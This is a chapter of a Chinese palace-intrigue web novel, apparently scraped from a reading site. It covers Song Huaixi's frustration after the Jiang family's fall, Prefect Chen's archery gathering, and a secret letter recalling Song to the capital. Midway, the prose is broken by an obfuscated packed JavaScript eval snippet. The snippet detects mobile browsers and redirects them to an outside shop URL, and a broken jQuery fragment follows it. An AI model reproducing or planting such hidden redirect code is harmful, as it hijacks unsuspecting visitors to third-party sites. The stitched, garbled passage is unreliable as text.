神秘人至今都未出现,温兰芷的尸体早已下葬。
唯独楚美人不见踪影……
姜承文的死,的确为夏义侯提供了一个很好的机会。
一个光明正大抛开所有世俗约束,彻查姜家的机会……
塞翁失马,焉知非福。
在响彻云霄的唏嘘声中,一代英雄就此落幕。
百姓再次提起姜承文的名字时,不再是暗中崇拜,而是明面嘲讽。姜承文生前所创下来的功绩,转变成人们批斗她的开场白。
似乎所有的光明注定笼罩着黑暗。
即便是向来备受敬仰的宋怀夕,也在百姓的猜忌中,被迫闭门不出,暂避风头。
杏高见宋怀夕长期闷闷不乐,便将从鬼市淘来的解闷小玩意,一一摆在圆桌上。五花八门的小玩具,镶嵌着彩色珠宝的陶瓷,以及古灵精怪的小木偶。
宋怀夕看着在她眼前来回晃动的提线木偶,举着小喇叭,摇摇晃晃地走来走去。
杏高捏着嗓子,配合手中提线木偶的动作,询问道:
“大人~你为什么不开心呀?”
“哼!”
宋怀夕轻哼一声,将头扭过去,不去看她们。
小木偶举着红色的喇叭,再一次摇摇晃晃走到宋怀夕的面前。
只不过这一次,小木偶手中多了一枝金丝绒花。
绒花被小木偶献宝般送到宋怀夕的面前。
宋怀夕眼睛一亮,瞧着这朵足够以假乱真的金牡丹。杏高看见这朵花的第一眼,便在内心肯定,自己的少君肯定喜欢。
于是杏高就在鬼市自掏腰包,将这朵精致且昂贵的金丝牡丹花给买了下来。只不过当这朵花再次出现在宋怀夕的面前时,花蕊也多了几分变化……
小木偶人举着比自己人都大的牡丹花,“尖”着嗓子呼喊道:
“大人呀~快把这朵花收下吧!它实在是太太太重了,我的手都快断了……”
委屈的语调让宋怀夕心生怜悯,她嘴角上扬地嘀咕道:
“你这么小,这花心镶嵌了这么多彩色宝石,手能不断吗?”
宋怀夕将这朵金色牡丹花,捧在手心中仔细观察。也不知道是用什么丝线制成的,乍一看是黄金色,可偏偏被阳光一照,反而拥有五彩斑斓的色泽。
仿佛天上的神花,被凡人窥见了天姿。
又因材料有限,只能利用自认为昂贵的宝物,将其拼凑在一起,尽可能地展现出神花千分之一的美丽。
“走个过场而已,有什么值得开心的。”
宋怀夕敷衍地回复杏高最开始的提问。
杏高见她状态一直不佳,便笑着说道:“如今姜家获罪,少君还是有很大功劳的。”
宋怀夕冷哼一声,不屑说道:“这是陈太守想堵我嘴呢!”
她说完还不解气,看着拿着喇叭的木偶人,又出现在自己的面前。于是宋怀夕便伸出手指,轻轻戳戳木偶人的长鼻子。
宋怀夕:“她就是害怕我真的查出东西来!”
杏高便问:“可是现在……少君已经完成陛下最开始吩咐的任务了。姜承文毕竟是宁州赫赫有名的富商,她都畏罪自裁,过往受她照顾的人肯定也不少……”
宋怀夕坐在卧室里不愿意四处走动,撑着脑袋,玩着手中的玉佩。她盯着上面的宋字,直接挑明陛下的小心思,“陛下只是想要一个机会,一个光明正大充盈国库的机会。然而真正能快速壮大自己的途径,只有吞噬他人。将他人辛苦攒下来的钱财,全部收进自己的钱包中。这不~陈大人一来,这机会就出现了……”
杏高明白宋怀夕心中有气,明明能自己得到满分答案,可偏偏有人半途拦截,直接替她完成。
更何况,真正重要的是……
“我就不信,她们真的都不知道那位干的龌龊事!”
宋怀夕难免抱怨起来:“明明都知道实情,却还像从前一样四处奉承她。无非是害怕她日后真坐上那位置,自家得不到别人一样的好处!”
杏高品茶宽慰道:“搞不好不是她呢?”
“还不是呢!”
宋怀夕没好气地反驳道:“人都被她眨眼之间全部解决完了!还不是!!”
宋怀夕说完,便一口气将杯中的茶水全部喝尽。
“碰!”
羽箭直中靶心,周边欢呼声四起。
“陈大人当真好箭术!次次直中靶心!!”
陈太守将弓箭放回原处,拱手谦让,笑道:“诸位抬爱了,无非是今日运气好罢了。”
一旁谄媚的宁州大官,连忙接过还未掉地的假话,真切地夸赞道:
“下官还真没见过像陈大人这般箭法精湛之人。如今一见,才知何为技冠群伦!”
周边拍掌叫好声再次响起,这位大人说完,那位大人又凑前赞美道:
“更何况陈大人年纪轻轻,才三十有余!我们都不敢想象,这未来呀——前程会有多么不可限量!”
陈太守低头浅笑,温润如玉的形象早就刻入人心。
陈太守扫视一圈,瞥了眼今日到场的人数,心中明白,这排面倒是安排得周全。如此阵仗,怕是宁州有头有脸的官员及家眷,都已到场。
一抹身影在她心中浮现……
热闹的场景,怎么不见故人身影?
白衣黑发红穗头,一对长靴踩碎了世间污秽。
少年的身影,包裹不住意气风发的生命力,头也不回,径直消失在她眼前……
陈太守眼底的忧伤,在它溢出之前就找好了“挡箭牌”。
“怎么今日不见小宋大人?”
陈太守的一句疑问,令周边的喧闹声瞬间肃静了下来。
一旁宁州的官员对她点头说道:“我们今日来,都是为了陈大人。至于小宋大人,近日还真没看见……”
轻笑声从陈太守嘴中传出,原来她也有今天,我还以为她到哪都受旁人欢迎。
红墙金瓦,皇位之上的偏爱,本就不该给能不配位之人……
权力无法笼络的人心,陈太守用自己的态度一一聚齐了。
“现在就回去?”
凌风收到密信感到不可思议,再次确认道:“你确定?这也太突然了吧?!”
暗卫亮出自己的腰牌,向她证明自己的话出自宋仁旭之口,“大人有令,既然少君任务已经完成,即可私下回京。无须跟随众人久居宁州。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027408|192467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
凌风腰间还藏着幽辞白天才给她的信物,这信物还未来得及送到宋怀夕的面前呢!怎么回屋的路上,还收到宋仁旭命她们暗中回京的消息呢?
这事情发生得这么突然?!!
凌风急得伸手直顺头发,凭借她对宋怀夕的了解,宋怀夕绝对不会此时离开宁州,放弃众人独自回京……
凌风虽然心急如焚,却保留该有的理智,仔细辨认信中是否为宋仁旭的字迹。
完了!
还真是宋大人写的……
凌风盯着手中的书信,陷入了沉默。
暗卫只负责送信,自然是不知道信中内容。只不过她们从凌风的沉默中,已经品读到信中重要的含义。
又是一场腥风血雨的开端啊……
凌风神思恍惚地推门进屋,映入眼帘的,就是屋内摆满了杏高买来的各类玩具。她只觉得自己的嘴,仿佛被密密麻麻的粗线缝住了,无论对面二人如何催促,凌风都发不出半点声响。
直到杏高锁门进屋后,看见凌风还脸色蜡黄地处在原处,才最后询问道:“这是怎么了?”
凌风依旧看着宋怀夕不说话。
宋怀夕看着她表情不对,但也不张口捅破。毕竟这段日子里,倒霉的事情多了,也不差这几件~
杏高见凌风依旧不说话,便点点头来到她身侧。
衣服干净整洁,鞋边沾有淤泥。
这雨后天晴的日子里,难免会有地方藏有积水。但幽辞是邀她在饭馆里碰面,更何况这带回来的饭菜糕点都是热的……
再说了,宋怀夕这院子,是府中最精致的小院。
从下马车到进屋,就没一块地方是需要沾淤泥的!不是由碎石组成的花纹小径,就是用木头搭建的廊下通道。
看样子是回来的路上出现了问题……
如果凌风去的途中另遇险情,她哪来的心情为两人挑选,符合彼此口味的饭菜糕点?
杏高点点头,伸手就搜查凌风左侧腰间位置。
果然,在凌风反应过来之前,杏高就确认了书信的位置。
杏高轻哼一声,“藏东西了~”
宋怀夕挑眉,将饭菜摆好,“藏什么了?”
凌风看着宋怀夕依旧低头摆盘,看样子自家主子还没意识到事情不对劲。凌风正在思考该如何开口时,杏高倒是先一步将她藏起来的书信提给宋怀夕。
凌风:“?!!”
瞧着凌风震惊的模样,杏高对她耸耸肩,幽幽地说道:“谁让你不长记性的?又被我逮着了~”
果然,还不等宋怀夕将书信看完,杏高就听见背后传来倒吸冷气的声音。
杏高不解,扭头问道:“怎么了?”
宋怀夕脸色铁青,闭口不言。
凌风叹气,开门见山地说道:“宋大人派人传信,原本是要找少君的。结果被我回来时碰见了,为了安全起见,我就临时改道独自碰面……”
杏高的视线在两人之间来回穿梭,见这个屋中只有自己不知情,也只有自己神色自若,继续问道:“然后呢?”
凌风小心打量着宋怀夕的表情,直到对方抬头替她开口。
“母亲让我极速回京。”